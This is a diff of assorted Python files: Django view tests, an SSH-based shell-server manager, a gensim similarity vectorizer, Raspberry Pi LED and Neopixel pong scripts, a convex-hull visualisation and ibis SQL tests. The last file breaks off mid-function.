+  geniuser = models.GeniUser(username='tester', password='password', email='test@test.com',
+                             affiliation='test affil', user_pubkey='user_pubkey',
+                             user_privkey='user_privkey', donor_pubkey='donor_pubkey',
+                             usable_vessel_port='12345', free_vessel_credits=10)
+  return geniuser
+
+def mock_acquire_vessels(geniuser, vesselcount, vesseltype):
+  return ['test1', 'test2']
+
+def mock_acquire_vessels_throws_UnableToAcquireResourcesError(geniuser, vesselcount, vesseltype):
+  raise UnableToAcquireResourcesError
+
+def mock_acquire_vessels_throws_InsufficientUserResourcesError(geniuser, vesselcount, vesseltype):
+  raise InsufficientUserResourcesError
+
+c = Client()
+good_data = {'num':5, 'env':'rand'}
+
+
+def main():
+  
+  # Setup test environment
+  testlib.setup_test_environment()
+  testlib.setup_test_db()
+  
+  try:
+    login_test_user()
+    
+    test_normal()
+    test_interface_throws_UnableToAcquireResourcesError()
+    test_interface_throws_InsufficientUserResourcesError()
+    test_blank_POST_data()
+    test_invalid_POST_data_invalid_num()
+    test_invalid_POST_data_invalid_env()
+    
+    print "All tests passed."
+    
+  finally:
+    testlib.teardown_test_db()
+    testlib.teardown_test_environment()
+
+
+
+def test_normal():
+  """
+  <Purpose>
+    Test normal behavior
+  """
+  interface.acquire_vessels = mock_acquire_vessels
+  response = c.post('/html/get_resources', good_data, follow=True)
+  assert(response.status_code == 200)
+  assert(response.template[0].name == 'control/myvessels.html')
+
+
+def test_interface_throws_UnableToAcquireResourcesError():
+  """
+  <Purpose>
+    Test behavior if interface throws UnableToAcquireResourcesError.
+  
+  <Note>
+    Checking only the existance of "action_summary" in the response
+    is sufficient in seeing whether the view caught the error, since 
+    error messages are shown in that html element. (Of course, so are
+    normal messages, but we are clearly having the interface throw an
+    exception, so normal messages don't even exist in this context).
+  """
+  interface.acquire_vessels = mock_acquire_vessels_throws_UnableToAcquireResourcesError
+  response = c.post('/html/get_resources', good_data, follow=True)
+  
+  assert(response.status_code == 200)
+  assert(response.template[0].name == 'control/myvessels.html')
+  assert("Unable to acquire vessels at this time" in response.content)
+
+
+
+def test_interface_throws_InsufficientUserResourcesError():
+  """
+  <Purpose>
+    Test behavior if interface throws InsufficientUserResourcesError.
+  """
+  interface.acquire_vessels = mock_acquire_vessels_throws_InsufficientUserResourcesError
+  response = c.post('/html/get_resources', good_data, follow=True)
+  
+  assert(response.status_code == 200)
+  assert(response.template[0].name == 'control/myvessels.html')
+  assert("Unable to acquire" in response.content)
+  assert("vessel credit" in response.content)
+
+
+
+def test_blank_POST_data():
+  """
+  <Purpose>
+    Test behavior if we submit blank POST data.
+  """
+  interface.acquire_vessels = mock_acquire_vessels
+  response = c.post('/html/get_resources', {}, follow=True)
+  
+  assert(response.status_code == 200)
+  assert(response.template[0].name == 'control/myvessels.html')
+  assert("This field is required" in response.content)
+
+
+
+def test_invalid_POST_data_invalid_num():
+  """
+  <Purpose>
+    Test behavior if we submit POST data with an invalid 'num' field.
+  """
+  interface.acquire_vessels = mock_acquire_vessels
+  test_data = {'num':-5, 'env':'rand'}
+  response = c.post('/html/get_resources', test_data, follow=True)
+  
+  assert(response.status_code == 200)
+  assert(response.template[0].name == 'control/myvessels.html')
+  assert("Select a valid choice" in response.content)
+
+
+
+def test_invalid_POST_data_invalid_env():
+  """
+  <Purpose>
+    Test behavior if we submit POST data with an invalid 'env' field.
+  """
+  interface.acquire_vessels = mock_acquire_vessels
+  test_data = {'num':5, 'env':'notvalid'}
+  response = c.post('/html/get_resources', test_data, follow=True)
+  
+  assert(response.status_code == 200)
+  assert(response.template[0].name == 'control/myvessels.html')
+  assert("Select a valid choice" in response.content)
+
+
+
+# Creates a test user in the test db, and uses the test client to 'login',
+# so all views that expect @login_required will now pass the login check. 
+def login_test_user():
+  # uses the mock get_logged_in_user function that represents a logged in user
+  interface.get_logged_in_user = mock_get_logged_in_user
+  
+  user = DjangoUser.objects.create_user('tester', 'test@test.com', 'testpassword')
+  user.save()
+  c.login(username='tester', password='testpassword')
+
+
+
+if __name__=="__main__":
+  main()
\ No newline at end of file
diff --git a/pool/shard000/Python/0008426_shell_servers.py b/pool/shard000/Python/0008426_shell_servers.py
new file mode 100644
index 0000000000000000000000000000000000000000..21bc003738887ce46b082377b89386ed9fec7fad
--- /dev/null
+++ b/pool/shard000/Python/0008426_shell_servers.py
@@ -0,0 +1,199 @@
+import api
+import pymongo
+import spur
+import json
+
+from api.common import validate, check, WebException
+from voluptuous import Schema, Required
+
+server_schema = Schema({
+    Required("host"): check(
+        ("Host must be a string", [str])),
+    Required("port"): check(
+        ("Port must be a string", [str])),
+    Required("username"): check(
+        ("Username must be a string", [str])),
+    Required("password"): check(
+        ("Username must be a string", [str])),
+    Required("protocol"): check(
+        ("Protocol must be either HTTP or HTTPS", [lambda x: x in ['HTTP', 'HTTPS']]))
+}, extra=True)
+
+def get_connection(host, port, username, password):
+    """
+    Attempts to connect to the given server and
+    returns a connection.
+    """
+
+    try:
+        shell = spur.SshShell(
+            hostname=host,
+            username=username,
+            password=password,
+            port=port,
+            missing_host_key=spur.ssh.MissingHostKey.accept,
+            connect_timeout=10
+        )
+        shell.run(["echo", "connected"])
+    except spur.ssh.ConnectionError as e:
+        raise WebException("Cannot connect to {}@{}:{} with the specified password".format(username, host, port))
+
+    return shell
+
+def ensure_setup(shell):
+    """
+    Runs sanity checks on the shell connection to ensure that
+    shell_manager is set up correctly.
+    """
+
+    result = shell.run(["sudo", "shell_manager", "status"], allow_error=True)
+    if result.return_code == 1 and "command not found" in result.stderr_output.decode("utf-8"):
+        raise WebException("shell_manager not installed on server.")
+
+def add_server(params):
+    """
+    Add a shell server to the pool of servers.
+
+    Args:
+        params: A dict containing:
+            host
+            port
+            username
+            password
+    Returns:
+       The sid.
+    """
+
+    db = api.common.get_conn()
+
+    validate(server_schema, params)
+
+    if isinstance(params["port"], str):
+        params["port"] = int(params["port"])
+
+    params["sid"] = api.common.token()
+    db.shell_servers.insert(params)
+
+    return params["sid"]
+
+def update_server(sid, params):
+    """
+    Update a shell server from the pool of servers.
+
+    Args:
+        sid: The sid of the server to update
+        params: A dict containing:
+            port
+            username
+            password
+    """
+
+    db = api.common.get_conn()
+
+    if db.shell_servers.find_one({"sid": sid}) is None:
+        raise WebException("Shell server with sid '{}' does not exist.".format(sid))
+
+    validate(server_schema, params)
+
+    if isinstance(params["port"], str):
+        params["port"] = int(params["port"])
+
+    db.shell_servers.update({"sid": sid}, {"$set": params})
+
+def remove_server(sid):
+    """
+    Remove a shell server from the pool of servers.
+
+    Args:
+        sid: the sid of the server to be removed
+    """
+
+    db = api.common.get_conn()
+
+    if db.shell_servers.find_one({"sid": sid}) is None:
+        raise WebException("Shell server with sid '{}' does not exist.".format(sid))
+
+    db.shell_servers.remove({"sid": sid})
+
+def get_server(sid):
+    """
+    Returns the server object corresponding to the sid provided
+
+    Args:
+        sid: the server id to lookup
+
+    Returns:
+        The server object
+    """
+
+    db = api.common.get_conn()
+    server = db.shell_servers.find_one({"sid": sid})
+    if server is None:
+        raise WebException("Server with sid '{}' does not exist".format(sid))
+
+    return server
+
+def get_servers():
+    """
+    Returns the list of added shell servers.
+    """
+
+    db = api.common.get_conn()
+    return list(db.shell_servers.find({}, {"_id": 0}))
+
+def get_problem_status_from_server(sid):
+    """
+    Connects to the server and checks the status of the problems running there.
+    Runs `sudo shell_manager status --json` and parses its output.
+
+    Args:
+        sid: The sid of the server to check
+
+    Returns:
+        A tuple containing:
+            - True if all problems are online and false otherwise
+            - The output data of shell_manager status --json
+    """
+
+    server = get_server(sid)
+    shell = get_connection(server['host'], server['port'], server['username'], server['password'])
+    ensure_setup(shell)
+
+    output = shell.run(["sudo", "shell_manager", "status", "--json"]).output.decode("utf-8")
+    data = json.loads(output)
+
+    all_online = True
+
+    for problem in data["problems"]:
+        for instance in problem["instances"]:
+            # if the service is not working
+            if not instance["service"]:
+                all_online = False
+
+            # if the connection is not working and it is a remote challenge
+            if not instance["connection"] and instance["port"] is not None:
+                all_online = False
+
+    return (all_online, data)
+
+def load_problems_from_server(sid):
+    """
+    Connects to the server and loads the problems from its deployment state.
+    Runs `sudo shell_manager publish` and captures its output.
+
+    Args:
+        sid: The sid of the server to load problems from.
+
+    Returns:
+        The number of problems loaded
+    """
+
+    server = get_server(sid)
+    shell = get_connection(server['host'], server['port'], server['username'], server['password'])
+    ensure_setup(shell)
+
+    result = shell.run(["sudo", "shell_manager", "publish"])
+    data = json.loads(result.output.decode("utf-8"))
+    api.problem.load_published(data)
+
+    return len(data["problems"])
diff --git a/pool/shard000/Python/0008429_vectorizer.py b/pool/shard000/Python/0008429_vectorizer.py
new file mode 100644
index 0000000000000000000000000000000000000000..c5e034533b6f274f7bfcd81d691d0fc248df7ea2
--- /dev/null
+++ b/pool/shard000/Python/0008429_vectorizer.py
@@ -0,0 +1,289 @@
+#!/usr/bin/env python
+# -*- coding: utf-8 -*-
+
+
+from gensim import corpora, models, similarities, matutils, interfaces
+from sklearn.feature_extraction.text import TfidfVectorizer
+from sklearn.feature_extraction import DictVectorizer
+from sklearn.metrics.pairwise import cosine_similarity
+from multiprocessing import Pool
+
+from lib.api import Similarity_API
+
+import numpy as np
+from time import time
+import codecs
+import pickle
+import os.path
+
+types=["diffusion","tweets","txt","users"]
+
+# MAIN : Step 1
+def compute_and_save_similarity_corpus(_path): 
+
+    # STEP 1 
+    print 
+    print "Step 1 : Compute all vectors from protomemes raw corpus"
+    print '#'*40
+    print
+    
+    tstart=time()
+
+    # TODO : use multi processing to improve computing
+    # create corpus and dictionaries
+    types=["diffusion","tweets","txt","users"]
+
+    for t in types:
+        if not has_corpus(_path,t):
+            corpus=get_raw_corpus_file(t,_path)
+            create_similarity_corpus(corpus,_path,t)
+        else:
+            print " Diffusion vector corpus already exists %s/%s.mm"%(_path,t)
+            print
+
+
+# Compile corpus and dictionary
+def create_similarity_corpus(_corpus,_path, _type):
+
+    print '-'*40
+    print 'Vectorizing %s',_type
+    print 
+
+    # compute path
+    my_path=_path+'/'+_type
+    dic_path=my_path+'.dict'
+    corpus_path=my_path+'.mm'
+
+    if os.path.exists(corpus_path): 
+        print " corpus and dict already exists %s, %s"(dict_path,corpus_path)
+        pass
+ 
+    elif os.path.exists(dic_path) :
+
+        print ' loading existing dictionary from %s'% dic_path
+        dictionary=corpora.Dictionary.load(dic_path)
+
+        # compute number of times in each corpus
+        create_frequency_vectors_corpus(_corpus,dictionary,corpus_path)
+
+    # if no dictionary exists, we have to compute dict and corpus
+    else:
+        # print type(_corpus)
+        print " create %s corpus and dictionary"% _type
+        
+        # create index of values
+        dictionary=create_dictionary(_corpus,dic_path)  
+
+        # compute number of times in each corpus
+        create_frequency_vectors_corpus(_corpus,dictionary,corpus_path)
+
+# create dictionary (index of each element)
+def create_dictionary(_raw_corpus_path,_dic_path):
+    print " Creating dictionary for diffusion."
+    print ' Indexing...'
+    t0 = time()
+
+    _dic_path
+
+    # load if the file already exists
+    dictionary = corpora.Dictionary(c.split(", ") for c in open(_raw_corpus_path, 'rb'))
+    dictionary.save(_dic_path) # store the dictionary, for future reference
+    print " dico saved at %s " % _dic_path
+
+    print " %d unique ids." % len(dictionary.token2id)
+    print " done in %fs" % (time() - t0)
+    print 
+    return dictionary
+
+# compile corpus (vectors number of times each elements appears)
+def create_frequency_vectors_corpus(_corpus,_dictionary,_corpus_path):
+    print ' Computing frequency vectors'
+    t0 = time()
+
+    corpus_path=_corpus_path
+    corpus = [_dictionary.doc2bow(t.split(", ")) for t in open(_corpus, 'rb')]
+    corpora.MmCorpus.serialize(corpus_path, corpus) # store to disk, for later use
+    print " dico saved at %s " % corpus_path
+
+    print " %d records processed." % len(corpus)
+    print " done in %fs" % (time() - t0)
+    print
+    # pprint(corpus)
+    # print corpus
+
+# STEP 2 : similarity between corpuses
+def compute_cosine_similarities_from_corpus(_path):
+
+    print "Step 2 : Compute cosine similarities from corpus"
+    print '#'*40
+    print
+    
+    # modeling and transformation
+    # if not os.path.exists(_path+"/tfidf.mm"):
+    #     text_corpus_to_tfidf(_path)
+    # else:
+    #     print " TF-IDF corpus already processed : %s"%(_path+"/tfidf.index")
+    #     print
+
+    # user_to_frequency_vectors # user count    
+    # tweets_to_binary_vectors # np.array are binary vectors already
+    # diffusion_to_binary_vectors # np.array are binary vectors already
+
+    # compute similarity
+    if not has_indexed_file(_path,"users"):
+        create_similarity_index("users",_path)
+    else:
+        print " Users already indexed : %s"%(_path+"/users.index")
+        print
+
+    if not has_indexed_file(_path,"diffusion"):
+        create_similarity_index("diffusion",_path)
+    else:
+        print " Diffusion already indexed : %s"%(_path+"/diffusion.index")
+        print
+
+    if not has_indexed_file(_path,"tweets"):
+        create_similarity_index("tweets",_path)
+    else:
+        print " Tweets already indexed : %s"%(_path+"/tweets.index")        
+        print
+
+    # This is done with TF-IDF
+    if not has_indexed_file(_path,"tfidf"):
+        print " computing TF-IDF"
+        corpus=corpora.MmCorpus(_path+"/txt.mm")
+
+        # train model from corpus
+        if not os.path.exists(_path+"/model.tfidf"):
+            print ' creating TF-IDF training model'
+            tfidf = models.TfidfModel(corpus) 
+            tfidf.save(_path+"/model.tfidf")
+            print ' TF-IDF training model saved %s'%(_path+"/model.tfidf")
+        else :
+            print ' loading trained model'
+            tfidf = models.TfidfModel.load(_path+"/model.tfidf")
+
+        tfidf_corpus= tfidf[corpus]
+        create_tfidf_similarity_index(tfidf_corpus,_path)
+    else:
+        print " TF-IDF already indexed : %s"%(_path+"/tfidf.index")
+        print
+
+# Load corpus and create
+def create_similarity_index(_type,_path):
+    
+    print " creating similarity index %s"%_type
+    print " loading corpus from %s"%_path
+    corpus=corpora.MmCorpus(_path+"/"+_type+".mm")
+    print "",corpus
+
+    # get number of features from dictionnary length
+    # if (_type == "txt"):
+    #     dic_path=_path+"/txt.dict"
+    # else:
+    dic_path=_path+"/"+_type+".dict"
+
+    _num_features=len(corpora.Dictionary.load(dic_path))
+    print " getting similarity computed for %d"%_num_features
+    file_path=_path+"/"+_type+".index"
+
+    # build the index
+    index = similarities.Similarity(file_path, corpus, num_features=_num_features) 
+    index.save(file_path)
+
+    print " similarities saved as %s"%file_path
+    print 
+
+    return index
+    # get similarities between the query and all index 
+    # sims = index[corpus]
+    # corpus_txt=matutils.MmReader(_path+"/text.mm")
+    # corpus_twe=matutils.MmReader(_path+"/tweets.mm")
+
+def create_tfidf_similarity_index(_tfidf_corpus,_path):
+
+    print " creating similarity index for txt transfromed with tf-idf"
+    # print " loading corpus from %s"%_path
+    # corpus=corpora.MmCorpus(_path+"/"+_type+".mm")
+    # print "",corpus
+
+    # get number of features from dictionnary length
+    # if (_type == "txt"):
+    #     dic_path=_path+"/txt.dict"
+    # else:
+
+    dic_path=_path+"/txt.dict"
+
+    _num_features=len(corpora.Dictionary.load(dic_path))
+    print " getting similarity computed for %d"%_num_features
+    file_path=_path+"/tfidf.index"
+
+    # build the index
+    index = similarities.Similarity(file_path, _tfidf_corpus, num_features=_num_features) 
+    index.save(file_path)
+
+# THIS HAS BEEN MOVED TO THE Similarity API (lib/api.py)
+# STEP 3 : Create similarity matrix of all files
+# def create_combined_similarities_index(_path):
+#     print "Step 3 : Combine similarities index"
+#     print '#'*40
+#     print 
+
+#     t0=time()
+
+#     # save path
+#     combi_path=_path+"/similarities_matrix.npy"
+    
+#     # api=Similarity_API(_path)
+
+#     # get row count
+#     diff_corpus=corpora.MmCorpus(_path+"/diffusion.mm")
+#     count=len(diff_corpus)
+
+#     print " Starting linear combination for %d similarity measures"%count
+#     print " computing..."
+
+#     # np.memmap(combi_path, dtype='float32', mode='w+', shape=(count,count))
+#     # size of this will be 43959*43959*16=28.794 Go
+
+#     # for x in range(0,10):
+#     #     print api.get_row(x)
+        
+#     # with open(combi_path, 'w') as f:
+#     #     # f.write(map(str,[x]) for x in range(0,count))
+#     #     f.write("\n".join(" ".join(map(str, api.get_row(x))) for x in range(0,count)))
+
+#     print " similarity matrix stored as file : %s"%combi_path
+#     print 
+#     print " Similarities computation done ",
+#     print " in %fs"%(time()-t0)
+#     print 
+
+# Utils
+def has_corpus(_path,_type):
+    corpus_path=_path+'/'+_type+'.mm'
+    return os.path.exists(corpus_path)
+
+def has_indexed_file(_path,_type):
+    index_path=_path+'/'+_type+'.index'
+    return os.path.exists(index_path)
+
+def get_raw_corpus_file(_type,_path):
+    filename=_path+"/protomemes."+_type
+    if os.path.exists(filename):
+        print " loading raw corpus from %s "%filename
+        return filename
+    else:
+        raise ValueError("File is not here. Try to create protomemes corpus files via lib.protomemes.create_corpus_file()")
+
+
+# TODO :
+def compute_similarities_using_multiple_processes(l):
+    '''process the test list elements in parallel'''
+    
+    print '  using multi-process pool'
+    pool = Pool()
+    results = pool.map(create_similarity_matrix, l)
+    return results
+
+
diff --git a/pool/shard000/Python/0008431_blink_led.py b/pool/shard000/Python/0008431_blink_led.py
new file mode 100644
index 0000000000000000000000000000000000000000..2b4615cb43762e96359f04365d585b2fa55eb73e
--- /dev/null
+++ b/pool/shard000/Python/0008431_blink_led.py
@@ -0,0 +1,28 @@
+import RPi.GPIO as GPIO
+import time
+
+# define pinout
+led_green_gpio = 17
+led_red_gpio = 27
+
+# setup pins
+GPIO.setmode(GPIO.BCM)
+GPIO.setup(led_green_gpio,GPIO.OUT)
+GPIO.setup(led_red_gpio,GPIO.OUT)
+
+# blink the LED forever
+try:
+	while True:
+		GPIO.output(led_green_gpio,GPIO.HIGH)
+		GPIO.output(led_red_gpio,GPIO.LOW)
+		time.sleep(1)
+		GPIO.output(led_green_gpio,GPIO.LOW)
+		GPIO.output(led_red_gpio,GPIO.HIGH)
+		time.sleep(1)
+except KeyboardInterrupt:
+	pass
+
+# cleanup GPIO before closing
+GPIO.output(led_green_gpio,GPIO.LOW)
+GPIO.output(led_red_gpio,GPIO.LOW)
+GPIO.cleanup()
diff --git a/pool/shard000/Python/0008440_test_visual_algorithms_jarvis_random.py b/pool/shard000/Python/0008440_test_visual_algorithms_jarvis_random.py
new file mode 100644
index 0000000000000000000000000000000000000000..15e06c61b9acab100b9e3045e5ee57c944debdec
--- /dev/null
+++ b/pool/shard000/Python/0008440_test_visual_algorithms_jarvis_random.py
@@ -0,0 +1,38 @@
+import sys
+sys.path.append('..')
+
+from pycompgeom import *
+import time
+
+def wait():
+	time.sleep(0.1)
+
+def jarvis(points):
+	r0 = min(points)
+	hull = [r0]
+	r = r0
+	vhull = []
+	while True:
+		u = random.choice(points)
+		curr_ru = VSegment2.from_endpoints(r,u,color=BLUE); wait()
+		for t in points:
+			curr_ut = VSegment2.from_endpoints(u,t,color=MAGENTA); wait()
+			if cw(r, u, t) or collinear(r, u, t) and between(r, t, u):
+				curr_ut = VSegment2.from_endpoints(u,t,color=GREEN); wait()
+				u = t
+				curr_ru = VSegment2.from_endpoints(r,u,color=BLUE); del curr_ut; wait()
+			else:
+				curr_ut = VSegment2.from_endpoints(u,t,color=RED); wait() 
+		if u == r0: break
+		else:
+			vhull.append(VSegment2.from_endpoints(hull[-1], u, color=YELLOW))
+			r = u
+			curr_ru = VSegment2.from_endpoints(r,u,color=BLUE); wait()
+			points.remove(r)
+			hull.append(r)
+	vhull.append(VSegment2.from_endpoints(hull[-1], u, color=YELLOW));
+	return hull
+
+points = random_points(40, visual=True)
+p=VPolygon2(Polygon2(jarvis(points[:])), color=GREEN)
+pause()
diff --git a/pool/shard000/Python/0008441_test_sql_builtins.py b/pool/shard000/Python/0008441_test_sql_builtins.py
new file mode 100644
index 0000000000000000000000000000000000000000..226616b2721daf4e94423f0aa2b471b52a92d38c
--- /dev/null
+++ b/pool/shard000/Python/0008441_test_sql_builtins.py
@@ -0,0 +1,215 @@
+# Copyright 2014 Cloudera Inc.
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+import pytest
+
+import ibis
+import ibis.expr.operations as ops
+import ibis.expr.types as ir
+
+from ibis.tests.util import assert_equal
+
+
+@pytest.fixture
+def sql_table():
+    return ibis.table([
+        ('v1', 'decimal(12, 2)'),
+        ('v2', 'decimal(10, 4)'),
+        ('v3', 'int32'),
+        ('v4', 'int64'),
+        ('v5', 'float'),
+        ('v6', 'double'),
+        ('v7', 'string'),
+        ('v8', 'boolean')
+    ], 'testing')
+
+
+@pytest.fixture(params=(ibis.coalesce, ibis.greatest, ibis.least))
+def function(request):
+    return request.param
+
+
+@pytest.mark.parametrize(
+    'colname',
+    [
+        'tinyint_col',
+        'smallint_col',
+        'int_col',
+        'bigint_col',
+        'float_col',
+        'double_col',
+    ]
+)
+def test_abs(functional_alltypes, lineitem, colname):
+    fname = 'abs'
+    op = ops.Abs
+
+    expr = functional_alltypes[colname]
+    _check_unary_op(expr, fname, op, type(expr))
+
+    expr = lineitem.l_extendedprice
+    _check_unary_op(expr, fname, op, type(expr))
+
+
+def test_group_concat(functional_alltypes):
+    col = functional_alltypes.string_col
+
+    expr = col.group_concat()
+    assert isinstance(expr.op(), ops.GroupConcat)
+    arg, sep, where = expr.op().args
+    assert sep.equals(ibis.literal(','))
+    assert where is None
+
+    expr = col.group_concat('|')
+    arg, sep, where = expr.op().args
+    assert sep.equals(ibis.literal('|'))
+    assert where is None
+
+
+def test_zeroifnull(functional_alltypes):
+    dresult = functional_alltypes.double_col.zeroifnull()
+    iresult = functional_alltypes.int_col.zeroifnull()
+
+    assert type(dresult.op()) == ops.ZeroIfNull
+    assert type(dresult) == ir.FloatingColumn
+
+    # Impala upconverts all ints to bigint. Hmm.
+    assert type(iresult) == type(iresult)
+
+
+def test_fillna(functional_alltypes):
+    result = functional_alltypes.double_col.fillna(5)
+    assert isinstance(result, ir.FloatingColumn)
+
+    assert isinstance(result.op(), ops.IfNull)
+
+    result = functional_alltypes.bool_col.fillna(True)
+    assert isinstance(result, ir.BooleanColumn)
+
+    # Highest precedence type
+    result = functional_alltypes.int_col.fillna(functional_alltypes.bigint_col)
+    assert isinstance(result, ir.IntegerColumn)
+
+
+def test_ceil_floor(functional_alltypes, lineitem):
+    cresult = functional_alltypes.double_col.ceil()
+    fresult = functional_alltypes.double_col.floor()
+    assert isinstance(cresult, ir.IntegerColumn)
+    assert isinstance(fresult, ir.IntegerColumn)
+    assert type(cresult.op()) == ops.Ceil
+    assert type(fresult.op()) == ops.Floor
+
+    cresult = ibis.literal(1.2345).ceil()
+    fresult = ibis.literal(1.2345).floor()
+    assert isinstance(cresult, ir.IntegerScalar)
+    assert isinstance(fresult, ir.IntegerScalar)
+
+    dec_col = lineitem.l_extendedprice
+    cresult = dec_col.ceil()
+    fresult = dec_col.floor()
+    assert isinstance(cresult, ir.DecimalColumn)
+    assert cresult.type() == dec_col.type()
+
+    assert isinstance(fresult, ir.DecimalColumn)
+    assert fresult.type() == dec_col.type()
+
+
+def test_sign(functional_alltypes, lineitem):
+    result = functional_alltypes.double_col.sign()
+    assert isinstance(result, ir.FloatingColumn)
+    assert type(result.op()) == ops.Sign
+
+    result = ibis.literal(1.2345).sign()
+    assert isinstance(result, ir.FloatingScalar)
+
+    dec_col = lineitem.l_extendedprice
+    result = dec_col.sign()
+    assert isinstance(result, ir.DecimalColumn)
+
+
+def test_round(functional_alltypes, lineitem):
+    result = functional_alltypes.double_col.round()
+    assert isinstance(result, ir.IntegerColumn)
+    assert result.op().args[1] is None
+
+    result = functional_alltypes.double_col.round(2)
+    assert isinstance(result, ir.FloatingColumn)
+    assert result.op().args[1].equals(ibis.literal(2))
+
+    # Even integers are double (at least in Impala, check with other DB
+    # implementations)
+    result = functional_alltypes.int_col.round(2)
+    assert isinstance(result, ir.FloatingColumn)
+
+    dec = lineitem.l_extendedprice
+    result = dec.round()
+    assert isinstance(result, ir.DecimalColumn)
+
+    result = dec.round(2)
+    assert isinstance(result, ir.DecimalColumn)
+
+    result = ibis.literal(1.2345).round()
+    assert isinstance(result, ir.IntegerScalar)
+
+
+def _check_unary_op(expr, fname, ex_op, ex_type):
+    result = getattr(expr, fname)()
+    assert type(result.op()) == ex_op
+    assert type(result) == ex_type
+
+
+def test_coalesce_instance_method(sql_table):
+    v7 = sql_table.v7
+    v5 = sql_table.v5.cast('string')
+    v8 = sql_table.v8.cast('string')
+
+    result = v7.coalesce(v5, v8, 'foo')
+    expected = ibis.coalesce(v7, v5, v8, 'foo')
+    assert_equal(result, expected)
+
+
+def test_integer_promotions(sql_table, function):
+    t = sql_table
+
+    expr = function(t.v3, t.v4)
+    assert isinstance(expr, ir.IntegerColumn)
+
+    expr = function(5, t.v3)
+    assert isinstance(expr, ir.IntegerColumn)
+
+    expr = function(5, 12)
+    assert isinstance(expr, ir.IntegerScalar)
+
+
+def test_floats(sql_table, function):
+    t = sql_table
+
+    expr = function(t.v5)
+    assert isinstance(expr, ir.FloatingColumn)
+
+    expr = function(5.5, t.v5)
+    assert isinstance(expr, ir.FloatingColumn)
+
+    expr = function(5.5, 5)
+    assert isinstance(expr, ir.FloatingScalar)
+
+
+@pytest.mark.xfail(raises=AssertionError, reason='NYT')
+def test_bools():
+    assert False
+
+
+@pytest.mark.xfail(raises=AssertionError, reason='NYT')
+def test_decimal_promotions():
+    assert False
diff --git a/pool/shard000/Python/0008444_StringPong.py b/pool/shard000/Python/0008444_StringPong.py
new file mode 100644
index 0000000000000000000000000000000000000000..823135cf795171ff9b3bf973cefc9a95f0244d13
--- /dev/null
+++ b/pool/shard000/Python/0008444_StringPong.py
@@ -0,0 +1,177 @@
+#!/usr/bin/env python
+# String Pong a Neopixel one dimensional pong - 2 player
+# using the wiring RPi libiary
+# By Mike Cook June 2015
+
+import time, random, os
+import RPi.GPIO as io
+from neopixel import *
+
+DATA_PIN  = 18 # pin connected to the NeoPixels
+NUM_PIXELS = 240 # number of LEDs 240 LEDs in 4 meters
+try :
+   io.setmode(io.BCM)
+   io.setwarnings(False)
+except :
+   print"start IDLE with 'gksudo idle' from command line"
+   os._exit(1)
+
+pixels = Adafruit_NeoPixel(NUM_PIXELS,DATA_PIN,800000,5,False)
+
+bat1pin = 3
+bat2pin = 2
+bat1 = bat2 = 1
+serve = False
+ballDir = True
+toServe = 0 # player to serve next
+slugLength = 5
+hitPoint1 = hitPoint2 = -1
+lastTime = time.time()
+interval = 0.1 # delay between frames
+insertPlace = 0
+slugCol = 5
+
+red =   [ 204,  0, 255, 255, 255, 255]
+green = [ 102, 255,  0,  0,  153,  225]
+blue =  [ 0,   255, 255, 0,  153,  0]
+ballSpeed  = [ 0.005, 0.01, 0.015, 0.020, 0.025, 0.03 ]
+
+def main() :
+   global lastTime, interval, ballDir, insertPlace, serve, slugLength, hitPoint1,hitPoint2,slugCol
+   init()
+   while(True):  
+      checkBat1()
+      checkBat2()
+     # advance the ball
+      if ((time.time() - lastTime) > interval) & serve:
+        lastTime = time.time()
+        if(ballDir) :
+           insertPlace += 1
+        else :
+           insertPlace -= 1
+           
+        if (insertPlace + slugLength) < 0 : # hit the player 1 end
+            insertPlace = -slugLength  
+            ballDir = not ballDir 
+            hitPoint2 = -1 # clear the other players hit position
+            if hitPoint1 == -1 or hitPoint1 > slugLength :  # failed to hit or too early
+                 endRally(0) # tidy up an wait for serve          
+            else :
+                 slugCol = hitPoint1 # change colour for next rally
+                 interval = ballSpeed[slugCol]            
+        
+        if insertPlace > NUM_PIXELS : # hit the player 2 end
+           insertPlace = NUM_PIXELS-1
+           ballDir = not ballDir
+           hitPoint1 = -1 # clear other players hit position
+           if hitPoint2 == -1 or (NUM_PIXELS -1 - hitPoint2) > slugLength :  # failed to hit or too early
+                 endRally(1) # tidy up an wait for serve          
+           else :
+               slugCol = NUM_PIXELS -1 - hitPoint2 # change colour for next rally
+               interval = ballSpeed[slugCol]
+      if serve :
+         place(insertPlace) # don't update if we have just missed the ball
+         
+def init() :
+   global insertPlace, interval
+   print"String Pong - by Mike Cook"
+   print"Blue LED - you swung too soon"
+   print"Green LED - you swung in time"
+   print"No LED - you swung too late"
+   print"White LED - serve when you are ready"
+   pixels.begin() # This initializes the NeoPixel library.
+   setupStart()
+   print"Please ignore this stupid warning:-"   
+   io.setup(bat1pin,io.IN, pull_up_down = io.PUD_UP)
+   io.add_event_detect(bat1pin,io.FALLING, callback=buttonPress, bouncetime=30)
+   io.setup(bat2pin,io.IN, pull_up_down = io.PUD_UP)
+   io.add_event_detect(bat2pin,io.FALLING, callback=buttonPress, bouncetime=30)
+   insertPlace = -slugLength
+   interval = ballSpeed[slugCol]
+   print"Player",toServe+1,"to serve"
+   
+def buttonPress(number): #call back function
+   global bat1,bat2
+   if number == 2:
+      bat2 = 0
+   else :
+      bat1 = 0
+    
+def endRally(player):
+     global serve,toServe,bat1,bat2,interval,slugCol
+     print"out"
+     bat1 = bat2 = 1
+     serve = False
+     time.sleep(1.0) # leave it
+     wipe()
+     pixels.show() # clear display
+     time.sleep(0.8)   # leave blank for a time
+     toServe = player
+     print"Player",player+1,"to serve"
+     setupStart()
+     bat1 = bat2 = 1
+     if ballSpeed[slugCol] == ballSpeed[0] :
+        slugCol = random.randint(2,5)
+        interval = ballSpeed[slugCol]
+
+def checkBat1():
+  global serve, hitPoint1,hitPoint2, bat1
+  if bat1 == 0 : 
+    bat1 = 1
+    if (serve==False) & (toServe == 0) :
+       serve=True # put ball in service
+       print"serve 1"
+       hitPoint1 = hitPoint2 = -1
+    else :   # trying to hit the ball
+       if hitPoint1 == -1 : # only record the first hit
+           hitPoint1 = slugLength + insertPlace
+
+
+def checkBat2():
+  global serve, hitPoint1,hitPoint2, bat2 
+  if bat2 == 0 :
